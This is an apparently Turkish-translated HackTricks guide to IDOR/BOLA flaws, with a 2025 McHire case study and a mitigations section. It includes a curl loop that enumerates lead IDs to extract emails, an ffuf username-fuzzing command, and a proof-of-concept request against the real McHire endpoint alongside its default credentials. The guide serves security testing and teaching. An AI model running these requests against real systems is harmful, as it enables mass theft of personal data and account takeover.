5.9 KiB
IDOR (Insecure Direct Object Reference)
{{#include ../banners/hacktricks-training.md}}
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA), bir web veya API uç noktasının, bir kullanıcının kontrol edebildiği bir tanımlayıcıyı doğrudan iç nesneye erişmek için ifşa ettiği veya kabul ettiği ve çağıranın o nesneye erişmeye/ürünü değiştirmeye yetkili olup olmadığını doğrulamadan kullanıldığı durumlarda ortaya çıkar. Başarılı sömürü genellikle diğer kullanıcıların verilerini okuma veya değiştirme gibi horizontal or vertical privilege-escalation’a izin verir ve en kötü durumda tam hesap devralma veya toplu veri dışarı sızdırma ile sonuçlanabilir.
1. Potansiyel IDOR'ları Belirleme
- Bir nesneyi referans gösteren parametrelere bakın:
- Path:
/api/user/1234,/files/550e8400-e29b-41d4-a716-446655440000 - Query:
?id=42,?invoice=2024-00001 - Body / JSON:
{"user_id": 321, "order_id": 987} - Headers / Cookies:
X-Client-ID: 4711
- Veri okuyan veya güncelleyen (
GET,PUT,PATCH,DELETE) uç noktalarını tercih edin. - Tanımlayıcıların ardışık veya tahmin edilebilir olup olmadığına dikkat edin – ID'niz
64185742ise muhtemelen64185741vardır. - Ek API'leri açığa çıkarabilecek gizli veya alternatif akışları (ör. giriş sayfalarındaki "Paradox team members" bağlantısı) keşfedin.
- Bir kimlik doğrulanmış düşük ayrıcalıklı oturum kullanın ve sadece ID'yi değiştirip aynı token/cookie'yi tutun. Yetkilendirme hatasının olmaması genellikle IDOR belirtisidir.
Hızlı manuel müdahale (Burp Repeater)
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
Otomatik enumeration (Burp Intruder / curl loop)
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
Error-response oracle for user/file enumeration
Bir download endpoint hem username hem de filename kabul ettiğinde (örn. /view.php?username=<u>&file=<f>), hata mesajlarındaki ince farklılıklar sıklıkla bir oracle oluşturur:
- Var olmayan username → "Kullanıcı bulunamadı"
- Hatalı filename ama geçerli extension → "Dosya mevcut değil" (bazen mevcut dosyaları da listeler)
- Hatalı extension → doğrulama hatası
Herhangi bir kimliği doğrulanmış oturumda, zararsız bir filename sabit tutarak username parametresini fuzz'layabilir ve geçerli kullanıcıları keşfetmek için "Kullanıcı bulunamadı" dizisini filtreleyebilirsiniz:
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
Once valid usernames are identified, request specific files directly (e.g., /view.php?username=amanda&file=privacy.odt). Bu desen genellikle diğer kullanıcıların belgelerinin yetkisiz ifşasına ve credential leakage'e yol açar.
2. Gerçek Dünya Vaka Çalışması – McHire Chatbot Platform (2025)
Paradox.ai-powered McHire işe alım portalının bir değerlendirmesi sırasında aşağıdaki IDOR tespit edildi:
- Endpoint:
PUT /api/lead/cem-xhr - Authorization: user session cookie for any restaurant test account
- Body parameter:
{"lead_id": N}– 8 haneli, sıralı sayısal tanımlayıcı
lead_id'yi azaltarak test eden, rastgele başvuruların full PII'sini (isim, e-posta, telefon, adres, vardiya tercihleri) ve session hijacking'e olanak veren bir tüketici JWT'sini elde etti. 1 – 64,185,742 aralığının taranması yaklaşık 64 milyon kaydı açığa çıkardı.
Proof-of-Concept isteği:
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
Combined with varsayılan yönetici kimlik bilgileri (123456:123456) test hesabına erişim verdiği için, bu zafiyet kritik ve şirket genelinde bir veri ihlaline yol açtı.
3. Impact of IDOR / BOLA
- Yatay yetki yükseltme – diğer kullanıcıların verilerini oku/güncelle/sil.
- Dikey yetki yükseltme – düşük ayrıcalıklı bir kullanıcı yöneticiye özel işlevlere erişim kazanır.
- Tanımlayıcılar ardışık ise toplu veri ihlali olabilir (e.g., applicant IDs, invoices).
- Token çalmak veya diğer kullanıcıların parolalarını sıfırlamak yoluyla hesap ele geçirme.
4. Mitigations & Best Practices
- Her istekte nesne düzeyinde yetkilendirme uygulayın (
user_id == session.user). - Otomatik artan ID'ler yerine dolaylı, tahmin edilemez tanımlayıcıları (UUIDv4, ULID) tercih edin.
- Yetkilendirmeyi sunucu tarafında gerçekleştirin; gizli form alanlarına veya UI kontrollerine asla güvenmeyin.
- Merkezi bir middleware'de RBAC / ABAC kontrolleri uygulayın.
- ID taramasını tespit etmek için oran sınırlaması ve kayıt tutma ekleyin.
- Her yeni endpoint'i güvenlik testinden geçirin (unit, integration ve DAST).
5. Tooling
- BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
- OWASP ZAP: Auth Matrix, Forced Browse.
- Github projects:
bwapp-idor-scanner,Blindy(bulk IDOR hunting).
References
- McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII
- OWASP Top 10 – Broken Access Control
- How to Find More IDORs – Vickie Li
- HTB Nocturnal: IDOR oracle → file theft {{#include ../banners/hacktricks-training.md}}